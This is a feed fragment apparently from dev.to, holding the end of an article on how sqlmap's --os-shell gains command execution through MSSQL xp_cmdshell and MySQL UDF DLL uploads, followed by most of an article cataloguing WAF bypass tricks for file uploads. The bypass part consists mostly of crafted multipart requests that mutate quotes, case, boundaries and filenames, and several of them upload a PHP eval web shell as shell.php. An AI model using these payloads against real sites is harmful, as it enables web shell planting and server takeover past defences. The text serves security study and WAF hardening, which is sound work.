&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="n"&gt;IS_SRVROLEMEMBER&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'sysadmin'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This determines if the user holds the &lt;code&gt;sa&lt;/code&gt; role.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt; &lt;span class="k"&gt;COUNT&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;master&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;dbo&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;sysobjects&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;xtype&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'x'&lt;/span&gt; &lt;span class="k"&gt;AND&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;'xp_cmdshell'&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A result of &lt;code&gt;1&lt;/code&gt; indicates that &lt;code&gt;xp_cmdshell&lt;/code&gt; exists.&lt;/p&gt;

&lt;p&gt;After these checks, the process follows the same pattern described above.&lt;/p&gt;




&lt;p&gt;A Wireshark capture of the TCP stream reveals the data sent.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdpg4omcp3zgxaqyx4opc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdpg4omcp3zgxaqyx4opc.png" alt=" " width="800" height="271"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The code was copied to a text file and certain characters were replaced.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe034g8zfro0pzbayk20c.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fe034g8zfro0pzbayk20c.png" alt=" " width="800" height="258"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Before executing the user‑supplied command, sqlmap runs &lt;code&gt;ping -n 10 127.0.0.1&lt;/code&gt; and &lt;code&gt;echo 1&lt;/code&gt; (marked as ① and ② in the figure). The commands that follow (③ onwards) are hex‑encoded.&lt;/p&gt;

&lt;h3&gt;
  
  
  MySQL
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;Prerequisites:&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The database server permits external connections.
&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;secure_file_priv&lt;/code&gt; variable is either empty or set to a writable path.
&lt;/li&gt;
&lt;li&gt;Write access to the MySQL installation directory is available.
&lt;/li&gt;
&lt;li&gt;For versions greater than 5.1, the &lt;code&gt;/lib/plugin&lt;/code&gt; directory must exist.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The MySQL &lt;code&gt;--os-shell&lt;/code&gt; method leverages user‑defined functions (UDFs) to execute commands. This topic is covered in greater detail in the article &lt;a href="https://cooltige.github.io/2020/06/02/Mysql-Udf%E6%8F%90%E6%9D%83/" rel="noopener noreferrer"&gt;MySQL UDF Privilege Escalation&lt;/a&gt;.&lt;/p&gt;




&lt;h4&gt;
  
  
  Test Environment
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;Operating system: Microsoft Windows Server 2012 Standard
&lt;/li&gt;
&lt;li&gt;Database: MySQL 5.1.60
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Sqlmap is used to connect to the database.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8acbd1nz90sz9k3cxj3u.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8acbd1nz90sz9k3cxj3u.png" alt=" " width="800" height="126"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;After installing &lt;code&gt;pymysql&lt;/code&gt;, a second connection attempt is made; upon success, sqlmap displays the approximate database version.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ei94wbkiye0u4kx8cyg.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9ei94wbkiye0u4kx8cyg.png" alt=" " width="799" height="146"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;--os-shell&lt;/code&gt; flag is then issued.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fswz8uqw9jgruo2xmmr2q.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fswz8uqw9jgruo2xmmr2q.png" alt=" " width="799" height="350"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;At this point, sqlmap performs five key actions:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Connects to the MySQL database and retrieves its version.
&lt;/li&gt;
&lt;li&gt;Verifies whether the current user is a database administrator.
&lt;/li&gt;
&lt;li&gt;Checks if the &lt;code&gt;sys_exec&lt;/code&gt; and &lt;code&gt;sys_eval&lt;/code&gt; functions have already been created.
&lt;/li&gt;
&lt;li&gt;Uploads the appropriate DLL file to the target directory.
&lt;/li&gt;
&lt;li&gt;When the user exits, removes the &lt;code&gt;sys_exec&lt;/code&gt; and &lt;code&gt;sys_eval&lt;/code&gt; functions (by default).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;A Wireshark TCP stream capture is analysed. The image below provides a detailed illustration of the process.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub-production-user-asset-6210df.s3.amazonaws.com%2F83846602%2F605389233-3ca82389-50d8-4b4f-9425-03846ba7f878.png%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%3DAKIAVCODYLSA53PQK4ZA%252F20260609%252Fus-east-1%252Fs3%252Faws4_request%26X-Amz-Date%3D20260609T222641Z%26X-Amz-Expires%3D300%26X-Amz-Signature%3D4c116f91cd6d39b94a49c22ce1edfb220f0022c27cb1b43df485b5695bdbca52%26X-Amz-SignedHeaders%3Dhost%26response-content-type%3Dimage%252Fpng" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fgithub-production-user-asset-6210df.s3.amazonaws.com%2F83846602%2F605389233-3ca82389-50d8-4b4f-9425-03846ba7f878.png%3FX-Amz-Algorithm%3DAWS4-HMAC-SHA256%26X-Amz-Credential%3DAKIAVCODYLSA53PQK4ZA%252F20260609%252Fus-east-1%252Fs3%252Faws4_request%26X-Amz-Date%3D20260609T222641Z%26X-Amz-Expires%3D300%26X-Amz-Signature%3D4c116f91cd6d39b94a49c22ce1edfb220f0022c27cb1b43df485b5695bdbca52%26X-Amz-SignedHeaders%3Dhost%26response-content-type%3Dimage%252Fpng" alt=" " width="600" height="1188"&gt;&lt;/a&gt;&lt;/p&gt;




</description>
      <category>sql</category>
      <category>sqlmap</category>
      <category>shell</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>A Comprehensive Overview of WAF Bypass Methods for File Upload Vulnerabilities</title>
      <dc:creator>Excalibra</dc:creator>
      <pubDate>Mon, 08 Jun 2026 02:06:22 +0000</pubDate>
      <link>https://dev.to/excalibra/a-comprehensive-overview-of-waf-bypass-methods-for-file-upload-vulnerabilities-2gp4</link>
      <guid>https://dev.to/excalibra/a-comprehensive-overview-of-waf-bypass-methods-for-file-upload-vulnerabilities-2gp4</guid>
      <description>&lt;h2&gt;
  
  
  Analysis of HTTP File Upload Packets
&lt;/h2&gt;

&lt;p&gt;File upload is fundamentally a client-side POST request wherein the message body contains upload information. The front-end upload page must specify an &lt;code&gt;enctype&lt;/code&gt; of &lt;code&gt;multipart/form-data&lt;/code&gt; to permit a successful upload.&lt;/p&gt;

&lt;p&gt;A typical file upload packet resembles the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;http://www.example.com&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="s"&gt;multipart/form-data; boundary=----WebKitFormBoundaryyb1zYhTI38xpQxBK&lt;/span&gt;

------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="city_id"

1
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="company_id"

2
------WebKitFormBoundaryyb1zYhTI38xpQxBK
Content-Disposition: form-data; name="file"; filename="chrome.png"
Content-Type: image/png

PNG ... content of chrome.png ...
------WebKitFormBoundaryyb1zYhTI38xpQxBK--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following characteristics may be extracted from the above:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The request header &lt;code&gt;Content-Type&lt;/code&gt; exhibits these features:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;multipart/form-data&lt;/code&gt; – indicates that the request is a file upload request.&lt;/li&gt;
&lt;li&gt;Presence of a &lt;code&gt;boundary&lt;/code&gt; string – serves as a delimiter to separate POST data.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The POST body contains:

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;Content-Disposition&lt;/code&gt; – a response header that indicates whether the content is expected to be displayed inline in the browser.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;name&lt;/code&gt; – the name of the HTML form field referenced by this part.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;filename&lt;/code&gt; – a string that holds the original name of the file being transmitted.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;The value of &lt;code&gt;boundary&lt;/code&gt; in the POST body is the value declared in &lt;code&gt;Content-Type&lt;/code&gt; prefixed with two hyphens &lt;code&gt;--&lt;/code&gt;, except for the final closing boundary.&lt;/li&gt;

&lt;li&gt;The closing boundary appends two additional hyphens by default (in testing, removing the last boundary line does not prevent a successful upload).&lt;/li&gt;

&lt;/ul&gt;

&lt;h3&gt;
  
  
  Modifiable Elements in a File Upload Packet
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Content-Disposition&lt;/strong&gt; – generally alterable.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;name&lt;/strong&gt; – the form parameter value; should not be altered.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;filename&lt;/strong&gt; – the file name; can be modified.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Content-Type&lt;/strong&gt; – the file MIME type; can be changed depending on context.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;boundary&lt;/strong&gt; – the content delimiter; can be modified.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  How WAFs Intercept Malicious Files
&lt;/h2&gt;

&lt;p&gt;Consider how one might design a WAF. Defence may be approached from several angles:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;File name&lt;/strong&gt; – parse the file name and determine whether it appears in a blacklist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File content&lt;/strong&gt; – parse the file content to detect whether it constitutes a webshell.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;File directory permissions&lt;/strong&gt; – typically requires a host-based WAF.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Currently, most common WAFs parse the file name; a minority, such as Chaitin, also inspect file content. The discussion below focuses on file‑name‑based interception.&lt;/p&gt;

&lt;p&gt;The general process is as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Extract the &lt;code&gt;boundary&lt;/code&gt; value from the &lt;code&gt;Content-Type&lt;/code&gt; header of the request.&lt;/li&gt;
&lt;li&gt;Using the boundary, parse the POST data to obtain the file name.&lt;/li&gt;
&lt;li&gt;Determine whether the file name falls within an interception blacklist or outside a whitelist.&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;Having understood how a WAF intercepts malicious files, I classify common bypass methods into the following categories. A demonstration using the latest version of Safedog concludes the article.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Character Mutations
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Quotation Mark Variations
&lt;/h3&gt;

&lt;p&gt;Values in header fields can be enclosed in single quotes, double quotes, or no quotes at all, without affecting the upload outcome.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: "form-data"; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php
Content-Disposition: form-data; name='file_x'; filename='xx.php'
Content-Disposition: 'form-data'; name="file_x"; filename='xx.php'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It is also possible to omit the trailing quotation mark of the &lt;code&gt;filename&lt;/code&gt; string, and the upload will still succeed.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name="file_x"; filename="xx.php
Content-Disposition: form-data; name="file_x"; filename='xx.php
Content-Disposition: form-data; name="file_x"; filename="xx.php;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Case Modifications
&lt;/h3&gt;

&lt;p&gt;The following three fixed strings may be subjected to case changes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Content-Disposition&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;filename&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For example, &lt;code&gt;name&lt;/code&gt; may become &lt;code&gt;Name&lt;/code&gt;, and &lt;code&gt;Content-Disposition&lt;/code&gt; may become &lt;code&gt;content-disposition&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Inserting Line Break Characters
&lt;/h3&gt;

&lt;p&gt;Line breaks can be inserted between a field value and the equals sign; here the character &lt;code&gt;[0x09]&lt;/code&gt; is used to represent a line break.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]"xx.php"[0x09]
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php
Content-Disposition: "form-data"; name="file_x"; filename=[0x09]xx.php[0x09];
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Multiple Semicolons
&lt;/h3&gt;

&lt;p&gt;During file parsing, the presence of multiple semicolons may prevent the WAF from correctly extracting the file name, thereby enabling a bypass.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name="file_x";;; filename="test.php"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Multiple Equals Signs
&lt;/h3&gt;

&lt;p&gt;Using multiple equals signs within the POST content has no effect on file upload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name=="file_x"; filename===="test.php"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Altering the Content-Disposition Value
&lt;/h3&gt;

&lt;p&gt;Some WAFs assume that the value of &lt;code&gt;Content-Disposition&lt;/code&gt; must be &lt;code&gt;form-data&lt;/code&gt;, which can lead to bypasses. In fact, &lt;code&gt;Content-Disposition&lt;/code&gt; may be arbitrarily altered or left empty.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: fOrM-DaTA; name="file_x"; filename="xx.php"
Content-Disposition: form-da+ta; name="file_x"; filename="xx.php"
Content-Disposition: fo    r m-dat a; name="file_x"; filename="xx.php"
Content-Disposition: form-dataxx; name="file_x"; filename="xx.php"
Content-Disposition: name="file_x"; filename="xx.php"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Malformed Boundary Headers
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;boundary&lt;/code&gt; can be mutated in the following ways without affecting the upload.&lt;/p&gt;

&lt;p&gt;Normal &lt;code&gt;boundary&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Malformed &lt;code&gt;boundary&lt;/code&gt; variations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The case of &lt;code&gt;multipart/form-data&lt;/code&gt; may be changed:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;  Content-Type: mUltiPart/ForM-dATa; boundary=----WebKitFormBoundarye111
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Spaces may separate &lt;code&gt;multipart/form-data&lt;/code&gt; and &lt;code&gt;boundary&lt;/code&gt;, and arbitrary content may be inserted between them:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;  Content-Type: multipart/form-data boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data x boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data abcdefg boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data a\|/?!@#$%^() boundary=----WebKitFormBoundarye111
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;A comma may separate &lt;code&gt;multipart/form-data&lt;/code&gt; and &lt;code&gt;boundary&lt;/code&gt;, with arbitrary content inserted between:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;  Content-Type: multipart/form-data,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,x,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,abcdefg,boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,a\|/?!@#$%^(),boundary=----WebKitFormBoundarye111
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Arbitrary content may be inserted directly before the &lt;code&gt;boundary&lt;/code&gt; string (feasible on PHP):
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;  Content-Type: multipart/form-data;bypass&amp;amp;123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data bypass&amp;amp;123**{|}boundary=----WebKitFormBoundarye111
  Content-Type: multipart/form-data,bypass&amp;amp;123**{|}boundary=----WebKitFormBoundarye111
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;At the end of the &lt;code&gt;boundary&lt;/code&gt;, a comma or semicolon may be used to separate and insert arbitrary content:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111;123abc
  Content-Type: multipart/form-data; boundary=----WebKitFormBoundarye111,123abc
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Sequence Reversal
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Swapping the Order of name and filename
&lt;/h3&gt;

&lt;p&gt;Because &lt;code&gt;Content-Disposition&lt;/code&gt; must appear first, only the order of &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;filename&lt;/code&gt; can be reversed. Some WAFs may expect &lt;code&gt;name&lt;/code&gt; before &lt;code&gt;filename&lt;/code&gt;, enabling a bypass.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; filename="xx.php"; name="file_x"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Swapping the Order of Content-Disposition and Content-Type
&lt;/h3&gt;

&lt;p&gt;Similarly, the order of &lt;code&gt;Content-Disposition&lt;/code&gt; and &lt;code&gt;Content-Type&lt;/code&gt; can be exchanged.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Type: image/png
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Swapping the Order of Different Boundary Contents
&lt;/h3&gt;

&lt;p&gt;The contents of different boundary parts may also be reordered without affecting the upload.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['x']);?&amp;gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Data Repetition
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Repetition of Boundary Content
&lt;/h3&gt;

&lt;p&gt;The file ultimately uploaded is &lt;code&gt;shell.php&lt;/code&gt; rather than &lt;code&gt;shell.jpg&lt;/code&gt;. However, if only the first file name is extracted, a bypass may occur.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.jpg"
Content-Type: image/png

&amp;lt;?php @eval($_POST['hack']); ?&amp;gt;
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['hack']); ?&amp;gt;
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The following variant also achieves a successful upload:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;------WebKitFormBoundarymeEzpUTMsmOfjwAA
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
------WebKitFormBoundarymeEzpUTMsmOfjwAA;123
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['hack']); ?&amp;gt;
------WebKitFormBoundarymeEzpUTMsmOfjwAA
Content-Disposition: form-data; name="submit"

上传
------WebKitFormBoundarymeEzpUTMsmOfjwAA--
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Repetition of filename
&lt;/h3&gt;

&lt;p&gt;The final uploaded file name is &lt;code&gt;shell.php&lt;/code&gt;. However, because the file name is extracted by matching the first occurrence, regular expressions will typically match the first instance.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Content-Disposition: form-data; name="upload_file"; filename="shell.jpg filename="shell.jpg"; filename="shell.jpg"; filename="shell.php";
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Data Overflow
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Inserting Junk Data Between name and filename
&lt;/h3&gt;

&lt;p&gt;A large volume of junk data may be inserted between &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;filename&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="nf"&gt;POST&lt;/span&gt; &lt;span class="nn"&gt;/Pass-02/index.php&lt;/span&gt; &lt;span class="k"&gt;HTTP&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="m"&gt;1.1&lt;/span&gt;
&lt;span class="na"&gt;Host&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;hackrock.com:813&lt;/span&gt;
&lt;span class="na"&gt;Content-Type&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;multipart/form-data; boundary=----WebKitFormBoundaryzEHC1GyG8wYOH1rf&lt;/span&gt;
&lt;span class="na"&gt;Connection&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s"&gt;close&lt;/span&gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="upload_file"; fbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b8dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf8658dafbf0fd31ead48dcc0b9f2312bf; 
filename="shell.php"
Content-Type: image/png

&amp;lt;?php @eval($_POST['x']);?&amp;gt;

------WebKitFormBoundaryzEHC1GyG8wYOH1rf
Content-Disposition: form-data; name="submit"

上传
